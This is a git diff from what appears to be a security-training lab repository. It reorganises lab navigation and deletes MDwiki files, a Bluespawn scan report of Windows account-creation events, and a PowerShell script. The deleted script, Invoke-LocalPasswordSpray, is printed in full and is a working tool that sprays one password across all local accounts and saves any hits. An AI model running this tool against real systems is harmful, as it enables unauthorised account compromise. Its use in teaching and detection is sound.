appearance or layout of - your website, as long as this does not violate the terms given in section (a) - -c) Attribution hyperlinks in the footer have to be kept unaltered. - -d) You may add your name to the list of copyright holder(s) in the footer if you make - changes to the work, keeping intact all other copyright holder names - -e) Changes to these terms require written permission by the copyright holder(s). diff --git a/IntroClassFiles/mdwiki-0.6.2/README.md b/IntroClassFiles/mdwiki-0.6.2/README.md deleted file mode 100755 index bfc7bbf2..00000000 --- a/IntroClassFiles/mdwiki-0.6.2/README.md +++ /dev/null @@ -1,4 +0,0 @@ -MDwiki -====== - -See http://www.mdwiki.info/ for more documentation and details. diff --git a/IntroClassFiles/mdwiki-0.6.2/README_1.md b/IntroClassFiles/mdwiki-0.6.2/README_1.md deleted file mode 100755 index bfc7bbf2..00000000 --- a/IntroClassFiles/mdwiki-0.6.2/README_1.md +++ /dev/null @@ -1,4 +0,0 @@ -MDwiki -====== - -See http://www.mdwiki.info/ for more documentation and details. diff --git a/IntroClassFiles/mdwiki-0.6.2/mdwiki-debug.html b/IntroClassFiles/mdwiki-0.6.2/mdwiki-debug.html deleted file mode 100755 index 7054fc9a..00000000 --- a/IntroClassFiles/mdwiki-0.6.2/mdwiki-debug.html +++ /dev/null @@ -1,4260 +0,0 @@ - - - - - MDwiki - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - diff --git a/IntroClassFiles/mdwiki-0.6.2/mdwiki-debug_1.html b/IntroClassFiles/mdwiki-0.6.2/mdwiki-debug_1.html deleted file mode 100755 index 7054fc9a..00000000 --- a/IntroClassFiles/mdwiki-0.6.2/mdwiki-debug_1.html +++ /dev/null @@ -1,4260 +0,0 @@ - - - - - MDwiki - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - diff --git a/IntroClassFiles/mdwiki-0.6.2/mdwiki-slim.html b/IntroClassFiles/mdwiki-0.6.2/mdwiki-slim.html deleted file mode 100755 index a88a5010..00000000 --- a/IntroClassFiles/mdwiki-0.6.2/mdwiki-slim.html +++ /dev/null @@ -1,187 +0,0 @@ - - - - - MDwiki - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - diff --git a/IntroClassFiles/mdwiki-0.6.2/mdwiki-slim_1.html b/IntroClassFiles/mdwiki-0.6.2/mdwiki-slim_1.html deleted file mode 100755 index a88a5010..00000000 --- a/IntroClassFiles/mdwiki-0.6.2/mdwiki-slim_1.html +++ /dev/null @@ -1,187 +0,0 @@ - - - - - MDwiki - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - diff --git a/IntroClassFiles/navigation.md b/IntroClassFiles/navigation.md index edc0cc5f..71b74e6a 100644 --- a/IntroClassFiles/navigation.md +++ b/IntroClassFiles/navigation.md @@ -1,5 +1,5 @@ # Intro -[Intro To SOC]() +## [Intro To SOC]() - [Linux CLI](Tools/IntroClass/LinuxCLI/LinuxCLI.md) - [Memory Analysis (Volatility)](Tools/IntroClass/Memory/MemoryAnalysis(Volatility).md) @@ -24,41 +24,72 @@ - [ACHunter2](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/Tools/IntroClass/RITA/ACHunter2.md) -[Intro To Security]() +

+## [Intro To Security]() - [Applocker](Tools/IntroClass/AppLocker/AppLocker.md) - - [Atomic RedTeam, Metasploit and Bluespawn](Tools/IntroClass/bluespawn/Bluespawn.md) - - [DeepBlueCLI](Tools/IntroClass/deepbluecli/DeepBlueCLI.md) - - [Nessus](Tools/IntroClass/nessus/Nessus.md) + - [Atomic RedTeam and Bluespawn](Tools/IntroClass/bluespawnIntroClass/Bluespawn.md) + - [DeepBlueCLI](Tools/IntroClass/deepbluecliIntroClass/DeepBlueCLI.md) + - [Nessus](Tools/IntroClass/nessusIntroClass/Nessus.md) - [Host Firewalls and Nmap](Tools/IntroClass/Nmap/Nmap.md) - [Password Cracking](Tools/IntroClass/PasswordCracking/PasswordCracking.md) - [Password Spraying](Tools/IntroClass/PasswordSpray/PasswordSpray.md) - [External Password Spraying](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/Tools/IntroClass/ExternalPasswordSpray.md) - [Responder](Tools/IntroClass/Responder/Responder.md) - - [RITA and AC Hunter](Tools/IntroClass/RITA/RITA.md) + - [RITA and AC Hunter](Tools/IntroClass/RITAIntroClass/RITA.md) - [Sysmon](Tools/IntroClass/Sysmon/Sysmon.md) - - [Web Testing](Tools/IntroClass/WebTesting/WebTesting.md) - - [Azure IR](/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/README.md) - - [AC Hunter CE](Tools/IntroClass/ACHCE/ACHunterCE.md) + - [Web Testing](Tools/IntroClass/WebTestingIntroClass/WebTesting.md) + - [AC Hunter CE](Tools/IntroClass/ACHCEIntroClass/ACHunterCE.md) - [PingCastle](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/Tools/IntroClass/PingCastle.md) + - [Azure IR](/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/README.md) - [Wireless](https://github.com/strandjs/IntroLabs/blob/master/IntroClassFiles/Tools/IntroClass/Wireless.md) + +

+## [Cyber Deception/Active Defense]() + +### Network Honeypots + - [Spidertrap](Tools/IntroClass/ADHD/Spidertrap/Spidertrap.md) + - [Cowrie](Tools/IntroClass/ADHD/Cowrie/Cowrie.md) + - [Portspoof](Tools/IntroClass/ADHD/Portspoof/Portspoof.md) + - [HoneyPorts](Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts.md) + - [OpenCanary](Tools/IntroClass/ADHD/openCanary.md) + - [Beelzebub](Tools/IntroClass/ADHD/Beelzebub.md) + +### Endpoint / Identity / AD deception + - [HoneyBadger](Tools/IntroClass/ADHD/HoneyBadger_files/HoneyBadger.md) + - [HoneyShare](Tools/IntroClass/ADHD/honeyshare/HoneyShare.md) + - [HoneyUser](Tools/IntroClass/ADHD/honeyuser/honeyuser.md) + - [AdvancedC2](Tools/IntroClass/ADHD/pcap/AdvancedC2PCAPAnalysis.md) + +### Web / Application + - [WebHoneypot](Tools/IntroClass/ADHD/webhoneypot/webhoneypot.md) + - [Glastopf](Tools/IntroClass/ADHD/Glastopf.md) + - [ModSecurity](Tools/IntroClass/ADHD/ModSecurity.md) + - [Haraka](Tools/IntroClass/ADHD/Haraka.md) + +### Malware capture & analysis + - [Dioanea](Tools/IntroClass/ADHD/dionaea.md) -[Cyber Deception/Active Defense]() - - - [Spidertrap](Tools/IntroClass/Spidertrap.md) - - [Cowrie](Tools/IntroClass/Cowrie.md) - - [Canarytokens](Tools/IntroClass/canarytokens/Canarytokens.md) - - [RITA](Tools/IntroClass/RITA/RITA.md) - - [Bluespawn](Tools/IntroClass/bluespawn/Bluespawn.md) - - [Portspoof](Tools/IntroClass/Portspoof.md) - - [HoneyBadger](Tools/IntroClass/HoneyBadger.md) - - [HoneyShare](Tools/IntroClass/honeyshare/HoneyShare.md) - - [HoneyUser](Tools/IntroClass/honeyuser/honeyuser.md) - - [AdvancedC2](Tools/IntroClass/pcap/AdvancedC2PCAPAnalysis.md) - - [WebHoneypot](Tools/IntroClass/webhoneypot/webhoneypot.md) - - [File Audit](Tools/IntroClass/FileAudit/FileAudit.md) - - [Beelzebub](https://github.com/strandjs/SOC_Analyst_Labs/blob/main/courseFiles/Section_08-deceptionSystems/beelzebubLab.md) +### DNS / Network tooling + - [RITA](Tools/IntroClass/ADHD/RITA_ADHD/RITA.md) + - [DNSChef](Tools/IntroClass/ADHD/DNSChef.md) + - [FakeNet-NG](Tools/IntroClass/ADHD/FakeNet-NG.md) + + +### Phishing / Social-engineering + - [Canarytokens](Tools/IntroClass/ADHD/canarytokens/Canarytokens.md) - [Canary Token Cloner](https://github.com/strandjs/SOC_Analyst_Labs/blob/main/courseFiles/Section_08-deceptionSystems/CanaryToken_lab/CanaryToken_lab.md) + - [GoPhish](Tools/IntroClass/ADHD/GoPhish.md) + - [Mailoney](Tools/IntroClass/ADHD/Mailoney.md) + + +### Red/Purple team detection testing + - [Bluespawn](Tools/IntroClass/ADHD/bluespawn/Bluespawn.md) + - [Caldera](Tools/IntroClass/ADHD/Caldera.md) + + +### File / Data deception & auditing + - [File Audit](Tools/IntroClass/ADHD/FileAudit/FileAudit.md) *** [How to Destroy the Cloud Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) diff --git a/LocalPasswordSpray.ps1 b/LocalPasswordSpray.ps1 deleted file mode 100644 index 0b75914b..00000000 --- a/LocalPasswordSpray.ps1 +++ /dev/null @@ -1,99 +0,0 @@ -function Invoke-LocalPasswordSpray{ -<# -.SYNOPSIS - -This module performs a password spray attack against the local users of a system. By default it will automatically generate the userlist from the system. Be careful not to lockout any accounts. - -PivotAll Function: Invoke-LocalPasswordSpray -Author: Beau Bullock (@dafthack) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -This module performs a password spray attack against the local users of a system. By default it will automatically generate the userlist from the system. Be careful not to lockout any accounts. - -.PARAMETER UserList - -Optional UserList parameter. This will be generated automatically if not specified - -.PARAMETER Password - -A single password that will be used to perform the password spray - -.EXAMPLE - -C:\PS> Invoke-LocalPasswordSpray -Password Spring2017 - -Description ------------ -This command will automatically generate a list of users from the local system and attempt to authenticate using each username and a password of Spring2017. - -.EXAMPLE - -C:\PS> Invoke-LocalPasswordSpray -UserList users.txt -Password Winter2017 - -Description ------------ -This command will use the userlist at users.txt and try to authenticate using the password Winter2017 for each user. - - -#> -Param( - [Parameter(Position = 1, Mandatory = $false)] - [string] - $UserList = "C:\temp\UserList.txt", - - [Parameter(Position = 2, Mandatory = $false)] - [string] - $Password - -) - -$UserListExists = Test-Path "$UserList" -If ($UserListExists -eq $False) { - #Create a list of all local users if not specified -Write-Host "##### Making a list of all local users #####" -$mkdir = "cmd.exe /C mkdir C:\temp\" -Invoke-Expression -Command:$mkdir -$net_users = "cmd.exe /C net users > C:\temp\raw-users.txt" -Invoke-Expression -Command:$net_users - - # Moving Net Users output to one username per line -$stripped_users = (Get-Content -Encoding Ascii "C:\temp\raw-users.txt" | select -Skip 4 | Where-Object {$_ -notmatch 'The command completed successfully.'}) -$trimmed = $stripped_users.Trim() -$one_user_per_line = $trimmed -Replace '\s+',"`r`n" -$one_user_per_line | Out-File -Encoding ascii C:\temp\UserList.txt - -$del_raw = "cmd.exe /C del C:\temp\raw-users.txt" -Invoke-Expression -Command:$del_raw -} - -Write-Host "[*] Using $UserList as userlist to spray with" -If (!$DomainController){$get_dc = "cmd.exe /C echo %logonserver% 2>&1" -$DomainController = Invoke-Expression -Command:$get_dc -} - -$time = Get-Date -Write-Host -ForegroundColor Yellow "[*] Password spraying has started. Current time is $($time.ToShortTimeString())" -Write-Host "[*] This might take a while depending on the total number of users" -$curr_user = 0 -$Users = Get-Content $UserList -$count = $Users.count -Add-Type -assemblyname system.DirectoryServices.accountmanagement -$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) - -ForEach($User in $Users){ -$Auth_check = $DS.ValidateCredentials($User, $Password) - If ($Auth_check -eq $true) - { - Add-Content C:\temp\sprayed-creds.txt $User`:$Password - Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password" - } - $curr_user+=1 - Write-Host -nonewline "$curr_user of $count users tested`r" - } -Write-Host -ForegroundColor Yellow "[*] Password spraying is complete" -Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to C:\temp\sprayed-creds.txt" -} \ No newline at end of file diff --git a/README.md b/README.md index 9d9a85d9..3a72ccb8 100644 --- a/README.md +++ b/README.md @@ -1 +1,4 @@ # IntroLabs + + +## For the Labs Navigation File go [here](/IntroClassFiles/navigation.md) diff --git a/Sysmon64.exe b/Sysmon64.exe deleted file mode 100644 index 94ec03f3..00000000 Binary files a/Sysmon64.exe and /dev/null differ diff --git a/Test b/Test deleted file mode 100644 index 110c58e6..00000000 --- a/Test +++ /dev/null @@ -1 +0,0 @@ -Test 2 diff --git a/bluespawn-06-15-2020-1013-25.xml b/bluespawn-06-15-2020-1013-25.xml deleted file mode 100644 index 3d4a3117..00000000 --- a/bluespawn-06-15-2020-1013-25.xml +++ /dev/null @@ -1,2503 +0,0 @@ - - - T1004 - Winlogon Helper DLL - - - T1013 - Port Monitors - - - T1015 - Accessibility Features - - - T1031 - Modify Existing Service - - - T1036 - Masquerading - - - T1037 - Logon Scripts - - - T1060 - Registry Run Keys / Startup Folder - - HKEY_USERS\S-1-5-21-4235200151-4210980811-2443358387-1203\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce - Delete Cached Update Binary - C:\WINDOWS\system32\cmd.exe /q /c del /q "C:\Users\allowlist\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe" - - - HKEY_USERS\S-1-5-21-4235200151-4210980811-2443358387-1203\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce - Delete Cached Standalone Update Binary - C:\WINDOWS\system32\cmd.exe /q /c del /q "C:\Users\allowlist\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" - - - HKEY_USERS\S-1-5-21-4235200151-4210980811-2443358387-1203\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce - Delete Cached Update Binary - C:\WINDOWS\system32\cmd.exe /q /c del /q "C:\Users\allowlist\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe" - - - HKEY_USERS\S-1-5-21-4235200151-4210980811-2443358387-1203\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce - Delete Cached Standalone Update Binary - C:\WINDOWS\system32\cmd.exe /q /c del /q "C:\Users\allowlist\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" - - - - T1068 - Exploitation for Privilege Escalation - - - T1089 - Disabling Security Tools - - - T1100 - Web Shells - - - T1101 - Security Support Provider - - - T1103 - AppInit DLLs - - - T1128 - Netsh Helper DLL - - - T1131 - Authentication Package - - - T1136 - Account Created - - 4720 - 8121 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-12T19:06:42.6344490Z'/><EventRecordID>8121</EventRecordID><Correlation ActivityID='{d35d86c8-40e0-0001-8987-5dd3e040d601}'/><Execution ProcessID='724' ThreadID='9480'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>allowlist</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1203</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1a01b</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>allowlist</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - allowlist - adhd - - - 4720 - 7988 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-12T19:02:51.1793227Z'/><EventRecordID>7988</EventRecordID><Correlation ActivityID='{d35d86c8-40e0-0001-8987-5dd3e040d601}'/><Execution ProcessID='724' ThreadID='9436'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>stran</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1202</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1a01b</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>stran</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - stran - adhd - - - 4720 - 7979 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-12T19:02:51.0942072Z'/><EventRecordID>7979</EventRecordID><Correlation ActivityID='{d35d86c8-40e0-0001-8987-5dd3e040d601}'/><Execution ProcessID='724' ThreadID='9436'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>spurr</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1201</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1a01b</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>spurr</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - spurr - adhd - - - 4720 - 5245 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:10.3256955Z'/><EventRecordID>5245</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kevin</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1200</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kevin</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kevin - adhd - - - 4720 - 5239 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:10.0984392Z'/><EventRecordID>5239</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Lisa</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1199</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Lisa</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Lisa - adhd - - - 4720 - 5233 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:10.0018936Z'/><EventRecordID>5233</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Mildred</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1198</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Mildred</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Mildred - adhd - - - 4720 - 5227 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.9053767Z'/><EventRecordID>5227</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Lauren</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1197</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Lauren</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Lauren - adhd - - - 4720 - 5221 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.8064565Z'/><EventRecordID>5221</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Douglas</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1196</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Douglas</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Douglas - adhd - - - 4720 - 5215 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.7163808Z'/><EventRecordID>5215</EventRecordID><Correlation 